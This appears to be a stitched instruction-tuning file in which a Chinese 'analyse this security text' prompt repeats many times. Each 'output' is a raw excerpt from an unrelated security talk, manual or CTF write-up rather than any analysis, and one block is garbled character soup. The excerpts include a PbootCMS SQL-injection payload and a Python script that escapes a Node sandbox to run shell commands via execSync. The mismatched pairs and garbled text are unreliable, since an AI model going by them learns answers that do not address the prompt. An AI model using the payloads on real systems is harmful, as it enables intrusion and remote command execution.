-javaagent:$APP_HOME/lib/xx.jar -jar $APP_HOM


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Caffeine Monkey: Automated Collection, Detection and nalysis of Malicious JavaScript A Ben Feinstein, CISSP Daniel Peck {bfeinstein, dpeck}@secureworks.com SecureWorks, Inc. Introduction In recent years, the web browser has likely become the single most ubiquitous computing application. Web browsers can be found everywhere, from being embedded in video game consoles and handheld devices to being installed on large servers supporting the enterprise. As with any widely deployed type of software, web browsers have become an increasingly popular target for attack. This trend will only continue. Todays browsers represent a complex application stack foisted atop the Operating Systems (OS) stack. Putting aside the complexity of achieving robust, crossbrowser compatibility, web developers are essentially coding to the browsers stack, with the goal of portability across both browsers and OS platforms. The growth in popularity of Web 2.0 sites that leverage the most advanced capabilities of the browser stack has contributed to blurring the distinction between data and executable code. This is especially apparent when considering support for dynamically interpreted scripting, in particular JavaScript. Due to the nature of dynamic script interpretation in the browser, it is difficult for many widely adopted security technologies to mitigate the clientside browser attack vector. In our research, we examined the current state of JavaScript obfuscation and evasion techniques, approaches for collecting JavaScript samples from the wild, and methods for analyzing the collected scripts. We developed a suite of tools for collecting and indexing JavaScript, interpreting the scripting in a sandboxed environment, and performing functional analysis for manual, as well as automated detection mechanisms. At the outset, we believed that investigating new approaches was warranted. Current methods tend to fall into two large categories: fully automated client honeypot systems or manual human an


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Mac OS X Server File Services Administration For Version 10.3 or Later 034-2346_Cvr 9/12/03 10:24 AM Page 1  Apple Computer, Inc.  2003 Apple Computer, Inc. All rights reserved. The owner or authorized user of a valid copy of Mac OS X Server software may reproduce this publication for the purpose of learning to use such software. No part of this publication may be reproduced or transmitted for commercial purposes, such as selling copies of this publication or for providing paid-for support services. The Apple logo is a trademark of Apple Computer, Inc., registered in the U.S. and other countries. Use of the keyboard Apple logo (Option-Shift-K) for commercial purposes without the prior written consent of Apple may constitute trademark infringement and unfair competition in violation of federal and state laws. Apple, the Apple logo, AppleScript, AppleShare, AppleTalk, ColorSync, FireWire, Keychain, Mac, Macintosh, Power Macintosh, QuickTime, Sherlock, and WebObjects are trademarks of Apple Computer, Inc., registered in the U.S. and other countries. AirPort, Extensions Manager, Finder, iMac, and Power Mac are trademarks of Apple Computer, Inc. Adobe and PostScript are trademarks of Adobe Systems Incorporated. Java and all Java-based trademarks and logos are trademarks or registered trademarks of Sun Microsystems, Inc. in the U.S. and other countries. 19952001 The Apache Group. All rights reserved. UNIX is a registered trademark in the United States and other countries, licensed exclusively through X/Open Company, Ltd. 034-2346/09-20-03 LL2346.Book Page 2 Friday, August 22, 2003 2:38 PM 3 1 Contents Chapter 1 9 About File Services 9 Overview 10 Privileges 11 Explicit Privileges 11 The User Categories Owner, Group, and Everyone 12 Hierarchy of Privileges 12 Client Users and Privileges 12 Privileges in the Mac OS X Environment 13 Customizing the Mac OS X Network Globe 13 Share Points in the Network Globe 13 Adding System Resources to the Network Library Folder 14 Security


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# X-Day威胁分析与对战技巧 ## 目录 [TOC] ## 流行APT手法分析与APT29档案解密 ### solarwinds 供应链分析 - 3月Prodaft瑞士安全公司对solarwinds进行事件分析溯源 - 供应链攻击流程 - msbuild注入 - 感染后会进行目标监听判断高价值目标 - 谷歌整理的供应链攻击流程分析图 - developer-source-build-package-dependency-use ### 关于APT29 #### 组织能力 - 钻石模型 - 攻击者 - 毛熊背景 - 受害者 - 基础设施 - 攻击者攻陷毛熊特点私有资产第三方平台 - 能力 - 金字塔模型描述能力等级 #### 攻击事件 - 经典攻击事件 - 2016 对DNC机构的攻击 - 2020 对疫苗研制机构的攻击 - 非常规事件 - 2014Tor网络出口节点劫持 - 2015 黑产类的大规模鱼叉邮件攻击 - 黑产团伙大规模进行钓鱼邮件攻击来收割机肉鸡 #### 组织结构划分 - The Dukes - WillMess - Nobelium ### APT29归因分析 - APT命名是为了便于划分某一类具有相似之处的黑客组织 - 并不严格代表团伙和人员的边界有一个服务多个的情况 - 事件归因是基于**当前积累和理解**向已知组织作出的合理挂靠 #### The Dukes归因 - 特点 - 组件中包含推特 - 使用隐写技术写入图片 - 第一步受害者分析 - 时间线上的攻击活动调查 - 目标以美国为主的北约成员国相关 - 第二步特马编译时间时区 - 对比编译时间和正常工作时间的时区 - 第三步查看美国情报机构的线索 - 是否有与事件相关的IP地址等IOC #### WellMes归因 - 攻击流程与国内红队相似 - 单点渗透 - 横向 - 投递特马 --- - 第一步SeaDuke&Wellmess流量分析 - Cookie中包含SeaDuke&Wellmess的加密特征 - 第二步Subburst&Kazaur特马分析卡巴斯基 - 木马上线延时-休眠时间算法 - API Hash摘要 - PC UID标识序列生成算法 --- - 通过已有的海量恶意样本库满足上述算法指纹的进行归因 - 第三步ProdaftSilverFish调查报告 - 从FireEye披露的资产出发 - 攻击阶段的DNS解析 - 发现DNS服务器上有2304有PowerMTA服务 - 基于上述特征对全球IP进行测绘过滤无关站点 - 发现特定IP后 进行同C段主机排查 - 发现另IP上存在意思木马主控端后台的登入页面**与黑产的资产类型有相同之处** - 爆破登入木马主控端后台 - 第四步CC后台源代码中的携带的开发者CID - 进行OSINT搜集发现与毛熊的地下技术交流论坛有关联 - 第五步发现后台中存在俄语俚语和常用语的字符片段 - 第六步在后台中源代码中发现流量重定向的代码过滤 - 过滤毛熊联邦相关的 - 重点关注枫叶国美丽国 - 第七步CC后台操作行为活跃的事件区段 - 分析日志信息的时间段对应正常工作时间段的时区 --- - 注意点 - 对IOC调查会发现存在不同团伙使用相同IOC的情况 - 要保持质疑的态度 --- - 理论与现实 - 指导理论 - Killchain - 钻石模型 - TTPs - ATT&CK - 实际情况 - ATT&CK半自动化落地问题 - 攻击上下文数据缺失 - TTPs关联的论证 - 用TTPs关联时一定要是独一无二的 - 以人为主导的组织关联局限性 --- - 组织关联分析总结 - 受害者分析 - 国家地域 - 特定行业 - 时政分析 - 攻击资产 - 武器库 - 特马 - 攻击样本溯源 - 网络资产 - 私有资产 - 第三方资产 - TTPs - 攻击战术偏好 - 载荷执行流程 - **单点指纹** - 要有足够的特殊性 - e.g. 图拉的加密算法会分层每一步骤不同 - e.g. 特马对真实环境的判断会对不同的检查点给分在一定阈值或者水平线上进行判断 - 反制溯源 ![image-20210725201820674](https://image-host-toky.oss-cn-shanghai.aliyuncs.com/image-20210725201820674.png) 图组织关联分析图 --- - 数据拓线 - 失陷现场 - 上机取证 - 同环境排查 - 样本层 - 样本属性 - 签名 - 元素据 - 特殊事件 - 代码指纹 - 网络层 - 传输数据加密协议 - Domain特征 - e.g. 频繁出现的某些特定字段 - IP特征 - 判断是否为私有资产如果是则关联的域名等也大概率归攻击者 -


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

如何成為駭客 剛剛那些駭客的朋友 GD 駭客 Roadmap 如何成為駭客  好奇心 feeling everything be interesting  持續學習 spend a lot time on new tricks  習慣踏出舒適圈  專注力 research, go after one goal for a long while  需要滿多運氣沒有也別灰心  有耐心 不要柿子挑軟的  創意 thinking out-of-the-box  形成駭客的直覺 當興趣或工作 有能力之後的選擇 Cleverness is a gift, Skillz can be learned, Kindness is a choice.


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

PbootCMS<=3.1.2前台注分析 写在前 这次学校联合oppo办了场校赛我出了些RealWorld向的赛题由于这个不是最新版 本再加上思路还是很骚中间是有些坑的导致前台注法获取表名接下来我会抽 丝剥茧点点分析相信师傅们定能学到东西滴其他的题则不那么适合分享(坏笑) 这以mysql数据库为例sqlite同理只是payload稍作改变 正 出题的初衷是希望学弟们能学会通过学会diff去快速获得漏洞并利可惜最终只有两个队 伍做出来了其中个预期是开发没有修复个远古的注导致新版本也能这主要 分享我的预期以及些踩坑和bypass先可以看到这的修复通过描述可以猜测可能是前 台的 通过beyondCompare简单对发现这尤其有点可疑再加上在次件默认路 由 apps/home/controller/IndexController.php 下的 empty 函数会控制路由转发就 可以确定确实是这的问题通过分析发现此漏洞触发点在第120的 $this->model- >getSort($path) 由于path变量可控最终在 apps/home/model/ParserModel.php 下 getSort 函数处可造成注 既然确定了那就继续深看看先不是pathinfo穿参模式则进下的分,当然默认情况下 不是采pathinfo模式,会获取 QUERY_STRING 也就是get传参 ? 后部分的内容保存到 qs 变量 当中接下来通过 parse_str 做变量的赋值保存到 output 当中这是坑后会说到如何破 局之后会把参数的key保存给path变量 接下来 / 做分隔符之后switch case取第个元素作为分发的条件 我们需要进default分才能到漏洞点这我们随便个字符串 test http://127.0.0.1/?test 成功到漏洞点getSort简简单单过滤拼接查询 为了便这布尔盲注了回显的又臭又长 踩坑 可是当我们彩烈的去构造注的时候 ?test/3' or if(0,0,1))%23 可以看到这空 格都被替换成 _ 了在这你可能会告诉我为什么你不 %0a/%09 又或者 /**/ 去绕过 呢这不是明摆着呢但是你说 information_schema.xxx 怎么办parse_str仍然会将 . 替 换为 _ 在解决问题之前我先给出payload ?test/3'/*[*/or if(1,0,1))%23 毕竟这篇章还 得继续 我们可以通过控制if的判断 1 or 0 如果是0代表没有结果页也会报错根据这个特征我们 就可以写简简单单的布尔盲注的脚本了 看php内核代码破局 还记得那个parse_str函数么虽然可以句话概括也就是上常说的 parse_str 只有 第个 [ 会被替换为 _ 那么为什么论加多少个空格都会被替换为 _ 当然也不扯远了只 是想谈谈为什么 那么我就来教教家如何绕过这我也不想通篇写整个步骤这个函数咋解析的然后又传 到哪去感兴趣的师傅可以编译 直接放结果在 main\php_variables.c 下这个函数已经明显的告诉了我们结果就不 必多说了 如果有空格或者 . 就会被for循环限替换为 _ 那么重点来了有什么办法打破这个循环答案就是使个 [ 那么这再留两个问题 为什么出现 [ 也给替换掉了在php设计的时候为什么会认为出现 [ 就终了呢我们知道在 输的时候什么情况下会出现也就是数组继续回到话题 在这php会认为你解析到了数组给p为当前指针指向的变量名地址并把当前指针指向 赋值为0接下来来揭晓答案 这因为没有 ] 进匹配这可能php认为是误输所以把指针指向前位赋值为 _ 这 也就解释清楚了 同时你也应该知道了为什么 [[只将第个[解析为_第个不解析了吗以及[.[空格等多种 操作 结果 简单通过分法即可获得flag


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Traps of Gold Michael Brooks & Andrew Wilson Cau.on. Please vet anything discussed with legal and management. FRUSTRATION http://www.ﬂickr.com/photos/14511253@N04/4411497087/sizes/o/in/photostream/ Our en.re defense strategy is REACTIVE AKA, losing Fixes known issues Someone already pwnd it Already in Produc@on! Patch Management Reduces Vulnerabili@es Expensive Limited Eﬀec@veness Secure Development Free groping at airport You arent safer Introduces vulnerabili@es Security Theater What is missing? But if they arent working Fight Back http://www.ﬂickr.com/photos/superwebdeveloper/5604789818/ sizes/l/in/photostream/  We conclude that there exists no clear division between the oﬀense and defense. - USMC, Warﬁgh.ng w.ﬂickr.com/photos/travis_simon/ 3/sizes/z/in/photostream/ They have: AUackers are human too.  Finite @me  Imperfect tools  Emo@on / Ego / Bias  Risk AUack them there. So...  If I have seen further, it is only by standing on the shoulder of giants. - Sir Isaac Newton Traps of Gold IDS Systems Honeypots Exploits Attrition Maneuver Two Models of Warfare Maneuverability http://www.ﬂickr.com/photos/travis_simon/ 3865383863/sizes/z/in/photostream/ Stack the Deck http://www.ﬂickr.com/photos/jonathanrh/5817317551/sizes/o/in/photostream/  To act in such a way that the enemy does not know what to expect. Ambiguity: Ambiguity Server Banners File Extensions Default Files Who needs this? The browser doesnt care. Why leave these up? Shut up. If knowing is half the baUle  Convince the enemy we are going to do something other than what we are really going to do Decep.on Lie about the rest. Reduce what they can know Blatantly lying. Increase the noise by Issues Iden@ﬁed Before AUer 19 5462 Nikto 6 300 Skipﬁsh 6 300 Wapiti 6 300 w3af 6 300 Prod scan 6 300 Prod scan 6 300 Prod scan See updates after talk Thats real though! Will it? But that wont fool people Some lies are beUer. http://www.ﬂickr.com/photos/randomurl/459180872/sizes/l/in/photostream/  The secrets of victory thus


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

import requests import json import click import re import sys import logging import hashlib import binascii from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes from cryptography.hazmat.primitives import padding from urllib.parse import urljoin logger = logging.getLogger('attacker') logger.setLevel('WARNING') ch = logging.StreamHandler(sys.stdout) ch.setFormatter(logging.Formatter('%(asctime)s - %(message)s')) logger.addHandler(ch) choices = 'abcedf0123456789' script_template = r'''const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const myfun = FunctionConstructor('return process') const process = myfun() const Buffer = FunctionConstructor('return Buffer')() const output = process.mainModule.require("child_process").execSync(Buffer.from('%s', 'hex').toString()).toString() context.responseData = 'testtest' + output + 'testtest' ''' def compute(passphase: str): nkey = 24 niv = 16 key = '' iv = '' p = '' while True: h = hashlib.md5() h.update(binascii.unhexlify(p)) h.update(passphase.encode()) p = h.hexdigest() i = 0 n = min(len(p) - i, 2 * nkey) nkey -= n // 2 key += p[i:i + n] i += n n = min(len(p) - i, 2 * niv) niv -= n // 2 iv += p[i:i + n] i += n if nkey + niv == 0: return binascii.unhexlify(key), binascii.unhexlify(iv) def aes_encode(data): key, iv = compute('abcde') padder = padding.PKCS7(128).padder() cipher = Cipher(algorithms.AES(key), modes.CBC(iv)) encryptor = cipher.encryptor() ct = encryptor.update(padder.update(data.encode()) + padder.finalize()) + encryptor.finalize() return binascii.hexlify(ct).decode() def aes_decode(data): key, iv = compute('abcde') unpadder = padding.PKCS7(128).unpadder() cipher = Cipher(algorithms.AES(key), modes.CBC(iv)) decryptor = cipher.decryptor() ct = decryptor.update(binascii.unhexlify(data)) + decryptor.finalize() ct = unpadder.update(ct) + unpadder.finalize() return ct.decode().strip() def brute_token(target, already): url = url


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

PINATA //PIN Automatic Try Attack Salvador Mendoza Security Researcher Ocelot Offensive Security Team Esta información es propiedad de Metabase Q, Inc., Todos los Derechos Reservados metabaseq.com contact@metabaseq.com 03 02 01 Agenda Introduction to terminology EMV Transaction Flow Inadequate implementation Esta información es propiedad de Metabase Q, Inc., Todos los Derechos Reservados metabaseq.com contact@metabaseq.com 05 04 Agenda Demo Conclusions Esta información es propiedad de Metabase Q, Inc., Todos los Derechos Reservados metabaseq.com contact@metabaseq.com Terminology Esta información es propiedad de Metabase Q, Inc., Todos los Derechos Reservados metabaseq.com contact@metabaseq.com Secure Element Cardholder Verefication Method Aplication Protocol Data Unit SE CVM APDU Esta información es propiedad de Metabase Q, Inc., Todos los Derechos Reservados metabaseq.com contact@metabaseq.com Intraged Circuit Card PIN Retry Counter Authorization Response Code ICC PRC ARC/ARPC Esta información es propiedad de Metabase Q, Inc., Todos los Derechos Reservados metabaseq.com contact@metabaseq.com EMV Contact Payment Esta información es propiedad de Metabase Q, Inc., Todos los Derechos Reservados metabaseq.com contact@metabaseq.com Contact Payment //EMV Contact payments rely on physical contact between the card and the terminal. In a contact payment, the card user inserts, or dips, the EMV card into the terminal for the duration of the transaction. Esta información es propiedad de Metabase Q, Inc., Todos los Derechos Reservados metabaseq.com contact@metabaseq.com Esta información es propiedad de Metabase Q, Inc., Todos los Derechos Reservados metabaseq.com contact@metabaseq.com Contact Payment //EMV Source: Chip and PIN is Broken Esta información es propiedad de Metabase Q, Inc., Todos los Derechos Reservados metabaseq.com contact@metabaseq.com ISO 7816: Contact Esta información es propiedad de Metabase Q, Inc., Todos los Derechos Reservados metabaseq.com contact@metabas


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Compromising online services by cracking voicemail systems Martin Vigo @martin_vigo | martinvigo.com Martin Vigo Product Security Lead From Galicia, Spain Research | Scuba | Gin tonics @martin_vigo - martinvigo.com Amstrad CPC 6128 Captured while playing La Abadía del crímen History Year 1983 Voice Mail patent is granted History: hacking voicemail systems  When?  In the 80s  What?  Mostly unused boxes that were part of business or cellular phone systems  Why?  As an alternative to BSS  Used as a "home base" for communication  Provided a safe phone number for phreaks to give out to one another  http://audio.textﬁles.com/conferences/PHREAKYBOYS How? back to ezines Hacking Answering Machines 1990 by Predat0r There is also the old "change the message" secret to make it say something to the effect of this line accepts all toll charges so you can bill third party calls to that number Hacking Telephone Answering Machines by Doctor Pizz and Cybersperm You can just enter all 2-digit combinations until you get the right one  A more sophisticated and fast way to do this is to take advantage of the fact that such machines typically do not read two numbers at a time, and discard them, but just look for the correct sequence Hacking AT&T Answering Machines Quick and Dirty by oleBuzzard Quickly Enter the following string: 1234567898765432135792468642973147419336699 4488552277539596372582838491817161511026203 040506070809001 (this is the shortest string for entering every possible 2-digit combo.) A Tutorial of Aspen Voice Mailbox Systems, by Slycath Defaults For ASPEN Are: (E.G. Box is 888) . Use Normal Hacking Techniques: ------------------------------- i.e. 1111 | \|/ 9999 1234 4321 Voicemail security in the 80s  Default passwords  Common passwords  Bruteforceable passwords  Eﬃcient bruteforcing sending multiple passwords at once  The greeting message is an attack vector Voicemail security today checklist time! Voicemail security today Default passwords  Common passwords  Brutefor


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# assembly-0 Reversing, 150 points ## Description: > What does asm0(0xaa,0xf2) return? Submit the flag as a hexadecimal value (starting with '0x'). ```assembly .intel_syntax noprefix .bits 32 .global asm0 asm0: push ebp mov ebp,esp mov eax,DWORD PTR [ebp+0x8] mov ebx,DWORD PTR [ebp+0xc] mov eax,ebx mov esp,ebp pop ebp ret ``` ## Solution: This is how the stack looks after performing the `mov ebp,esp` command: ``` +---------+ | old ebp | <-- ebp +---------+ | ret | <-- ebp + 0x4 +---------+ | 0xaa | <-- ebp + 0x8 +---------+ | 0xf2 | <-- ebp + 0xc +---------+ ``` What happens later is: ```assembly mov eax,DWORD PTR [ebp+0x8] ; eax = 0xaa mov ebx,DWORD PTR [ebp+0xc] ; ebx = 0xf2 mov eax,ebx ; eax = ebx, i.e. eax = 0xf2 mov esp,ebp ; teardown frame... pop ebp ret ``` So the function's return value is 0xf2.


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Managed Code Rootkits Managed Code Rootkits Hooking into Runtime Environments Hooking into Runtime Environments Erez Metula, Erez Metula, Secure Software Engineer Secure Software Engineer Application Security Department Manager, 2BSecure Application Security Department Manager, 2BSecure ErezMetula@2bsecure.co.il ErezMetula@2bsecure.co.il August 2 August 2nd nd, 2009 , 2009 DEMO  println(string s) goes crazy ..or how to make code do more than it should  Trivial question: What should be the output of the following (Java) code? class HelloWorld { public static void main(String args[]) { System.out.println("Hello World!"); } }  A simple PoC of language modification. Sometimes 1+1=3  println() was modified to print every string twice Agenda  Introduction to managed code execution model  What are Managed Code Rootkits?  MCR advantages  Application VM modification and malware deployment  Interesting attack scenarios (+ DEMOS!)  .NET-Sploit 1.0  Generic Framework modification tool  Q&A  if time permits.. Background  I started playing with the idea of Managed Code language modification back in 2008  Wrote a whitepaper titled  .NET Framework Rootkits  Backdoors inside your Framework  Presented in BH EU 2009 & CanSecWest  .NET Rootkits was a case study of the Managed Code Rootkit concept  Today well talk about the general concept and take a look at Java Rootkits as well What is managed code ?  Code that executes under the management of an application virtual machine, a.k.a the sandbox  Think of it as an applicative OS for apps  Example: Java Virtual machine (JVM)  High level intermediate assembly language  As opposed to unmanaged code (example: C/C++) which is executed directly by the CPU  Write once, run everywhere  Managed code is independent of the underlying platform.  The VM acts as a machine specific bridge  Same code can run on Windows, Linux, Mac, Mainframe, mobile phone, database, car, toaster.. Write once, run everywhere Managed code platform examples  Examples of ap


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

'\" '\" Copyright (c) 1993 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: close.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

# Rotaluklak (pwn) A very nice Python exploitation challenge. We get access to a service and it's [source code](source.py) The important part of the code is: ```python multiply = operator.mul divide = operator.div idivide = operator.truediv add = operator.add subtract = operator.sub xor = operator.xor power = operator.pow wumbo = lambda _, x, y: int((str(x) + str(y)) * x) def evaluate(self, expr, debug=False): expr = expr.split() stack = [] for token in expr: try: # If the token is a number, push it onto the stack. stack.append(int(token)) except ValueError: # This is an operator call the appropriate function y = stack.pop() x = stack.pop() stack.append(operator.attrgetter(token)(self)(x, y)) return stack[0] ``` The service takes our input, splits tokens by space and then evaluates them as Reverse Polish Notation inputs. It seems we can only pass integer arguments and call only 2-argument functions from `self`. There are a couple of important points here: 1. Due to how `operator.attrgetter` works we can access properties recursively here - we can pass `x.y.z` to access `self.x.y.z` 2. We can access ANY property of the `self` object, not only functions we can see in the source code. 3. While arguments we pass directly in input can be only integers, we can place any object on the stack, as long as this object is returned from function we call As usual in such challenges we try to figure out how to get access to `__builtins__` module and then use `__import__` to get something like `os` or `subprocess`. There is not much to work with, but there is `wumbo` lambda function, which contains `func_globals` dictionary. In this dictionary we have `__builtins__` module we want. The problem is we can't use `['__builtins__']` in `operator.attrgetter` parameter, we can only access direct properties. Our idea is to call `wumbo.func_globals.get` with 2 arguments `__builtins__` and some random integer, which will return the module we want. Now to do this we need to have a string on t


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1$1  +110@1101   -   0011  @21 - &-  -- &---  - -- &  :-&---  --- //(/(/) )  /  /)-))  /(/)  ./-/)///  /  / / /( /) . ..  .  ..  ..   . .  . .... ... 1.+0  .1.,.,.  .+..10. A 3 2. 21 3 2. ,.  1.0...2,3 A ,2 8. ..3  2. .1  8.. ,22. 1. +0 +20 8,. .(  ( /.  (.  A/  /A/  )./  /  )  (. (.  )E9C !  1 8 : 4E9C 8E6(  94E6 2  - 0 EC 9 E366 4E6 8  9688 2  0363B4B3BI8F3968836  98C 2&2&  0363B4B3BI836110  93B:F 2  FBGB 0 F3 3B3B (0)- :C61#$(#  9CC):C444:C6  .E664C26249:E6  :C-26:C6C92664C6GC:C  :C6462C664C6 2C66GC  :C462664C6 /606 :C 029-  )09?09  29220296  (C26 224 1  6?09  6140296 49 1-0 )!  0206  (09410  0200 /0421-)(  0140212- ./0410-24 1-/0 )$$ .9:40.-/0 1/:(920.:0:091 1.09:40.-/0 60 1.0920.:0:091 620- (! )4-12- ()) - )20021 )2001 2 2 1) (1 21 1 -!! 9220912  2 9)1  202192(  )0 2/11 )01(/ 0-99/ 2(/ 099 0 ,)- ( 98C )2&)2&  0  (9E96F64-E4 598C  56G0-(  06H-11AECC85 8C 48 &-(&-(  92)2821  &8282984082  81)02182122928 84 )/&)/&  :39 3102 :108483302  :39 (8:108:(313392:9 - -()-0 24.340(  24.340  .99.1409-40.9 4-  )99 -01  999040.99140  940919   A4  2A  0. 029-12( )11-  12:24  9923-221 GE)3  4GGCCEEG(  ,GCE22-  2EEFFGCEH?FNGFFHGCE9?F  1FGEG9F CGFG9C9GHC9?G  CEEGGCGGEFGEGCF  .CHGC  0EGCEEGGE9G  /EEGGHGCE9?F GCGF C3A49E 1$$  CAD4CC93H3  /C 3C9 ( DCDC(3C9C=9A C3A49E A=3CC3A A( ==C. 0-) DCDC(E3A93DC9AI2H 24-341()  3-  -2A  A49  -.A  -  --9111319--049-41?3-94.1 04)30-( 21- 4)3- &&&  --   -  --  -  -- 2  22,222  22  , 2,22  2  2  2


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

什么是DoS DoS是Denial of Service的简称即拒绝服务造成DoS的攻击为被称为DoS攻 击其的是使计算机或络法提供正常的服务拒绝服务存在于各种络服务 上这个络服务可以是cc++实现的也可以是gojavaphppython等等语 实现 Java DoS的现状 在各种开源和闭源的java系统产品中我们经常能看到有关DoS的缺陷公告其中 部分都是耗尽CPU类型或者业务卸载类型的DoS耗尽CPU类型的DoS体上主 要包括正则回溯耗尽CPU代码量重复执耗尽CPU死循环代码耗尽CPU 等业务卸载DoS这类型的DoS则和系统业务强耦合般情况下并不具备通 性下个简单例对其进简单描述 正则回溯耗尽CPU Pattern.matches(controllableVariableRegex, controllableVariableText) 代码量重复执耗尽CPU for(int i = 0; i < controllableVariable; i++) { //do somethinge.g. consume cpu } 死循环耗尽CPU while(controllableBoolVariable) { //do somethinge.g. consume cpu } 业务卸载DoS当任意户可访问到uninstall法的情况下业务就可能会被恶 意卸载导致正常户的服务被拒绝 private final Set<String> availables = new HashSet(); public void service(String type, String name) { if (availables.contains(type)) { //do service } else { //reject service } } public void uninstall(String type) { availables.remove(type) } 我曾经在挖掘XStream反序列化利链的时候也找到过可以发起正则回溯耗尽 CPU死循环耗尽CPU类型DoS攻击的利链并且最终获得了XStream的多个 CVE编号标记和署名 java.io.ByteArrayInputStream死循环耗尽CPU https://x- stream.github.io/CVE-2021-21341.html java.util.Scanner正则回溯耗尽CPU https://x-stream.github.io/CVE-2021- 21348.html 难道Java系统中只存在这些类型的DoS吗我不认为是这样的我认为Java系统 中必然存在着量其他类型的DoS缺陷只是我们还没发现当我在某天审计 个Java系统时灵光闪突然发现了个和这些DoS类型都不样的缺陷并 且在通过对其他量的Java系统审计时它普遍存在我知道了这是个具有普 遍性存在的缺陷 - Memory DoS 三Java异常机制 在cc++等语实现的络服务中可能存在空指针DoSCPU耗尽DoS等等各种 各样类型的DoS为什么在Java中DoS的类型却少得可怜这不得不说起Java 中的异常机制了 Java异常在JRE源码实现中主要分为了java.lang.Exception和java.lang.Error它 们都有个共同的实现java.lang.Throwable经常写Java代码的程序员可能最不 喜欢就是遇到这样的麻烦了 关于异常的描述简单参考了下runoob 异常是程序中的些错误但并不是所有的错误都是异常并且错误有时候是可以 避免的 如说你的代码少了个分号那么运出来结果是提示是错误 java.lang.Error如果你System.out.println(11/0)那么你是因为你0做了除 数会抛出 java.lang.ArithmeticException 的异常 异常发的原因有很多通常包含以下类 户输了法数据 要打开的件不存在 络通信时连接中断或者JVM内存溢出 这些异常有的是因为户错误引起有的是程序错误引起的还有其它些是因为 物理错误引起的- 要理解Java异常处理是如何作的你需要掌握以下三种类型 的异常 检查性异常最具代表的检查性异常是户错误或问题引起的异常这是程序 员法预的例如要打开个不存在件时个异常就发了这些异常 在编译时不能被简单地忽略 运时异常 运时异常是可能被程序员避免的异常与检查性异常相反运 时异常可以在编译时被忽略 错误 错误不是异常是脱离程序员控制的问题错误在代码中通常被忽 略例如当栈溢出时个错误就发了它们在编译也检查不到的 关于Java异常机制的描述上述已经说得很清楚了当出现异常的时候往往部 分是可以被捕获处理的但是当出现错误的时候意味着程序已经不能正常运 了也就是


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

## 一漏洞挖掘心理学 1. 安全的木桶理论 找到最薄弱的那个点 2. 有一个漏洞的站点很可能还会有更多的漏洞 开发人员的安全意识问题 3. 存在于一个站点的漏洞还可能存在于其他站点 业务的代码复用 通用型漏洞wordpress插件漏洞Discuz 更新不及时 4. 修复了的漏洞不一定就全部修复完整了 指哪修哪 绕过修复 5. 学会找扫描器扫不到/其他白帽子难发现的漏洞 需要深度交互/认证 存储XSS/CSRF/越权/逻辑漏洞 6. 挖掘漏洞的过程 通常需要先找到危险函数然后回溯函数的调用过程最终看在整个调用的过程中用户是否有可能控制输入 7. 绕waf的一般思路 1). 预处理利用即设法绕过 WAF的输入验证比如 HTTP头 X-Originating-IP XForwarded-For X-Remote-IP  X-Remote-Addr的处理就曾多次被用于绕过公司WAF 的SQL 注入防护或者 HTTP方法头 GET/POST 的篡改换行符的处理等等方式 2). 致阻断失配利用前后端数据处理的差异使得无法匹配到黑名单里的规则通常结合一些参数污染字符编码注释符等多种方式绕过 3). 规则集绕过通过暴力枚举出 WAF的拦截规则或者逆向 WAF程序获取规则然后再设法绕过 8. 权限与绕过思路 ![think](../pictures/vuln0.png) ## 二常用的浏览器插件(Firefox) 1. Firebug 强大的网站调试工具同时可以用来简单抓包 2. Tamper data 抓包修改功能 3. Hackbar 手工测试SQL注入/XSS的利器有编码功能 4. LiveHttpHeader 抓包工具使用方便常用于测试CSRF ## 三常用的WEB安全工具 1. AWVS 全能的Web安全漏洞扫描器并附带有很多实用的工具 如果电脑本身需要通过代理访问外网那么也需要设置下 application settings--application updates 设置 proxy server 2. NetSparker 对SQL注入XSSLFI等漏洞扫描效果不错的漏洞扫描器 3. BurpSuite 功能全面个人常用于暴破抓包CSRF测试等等 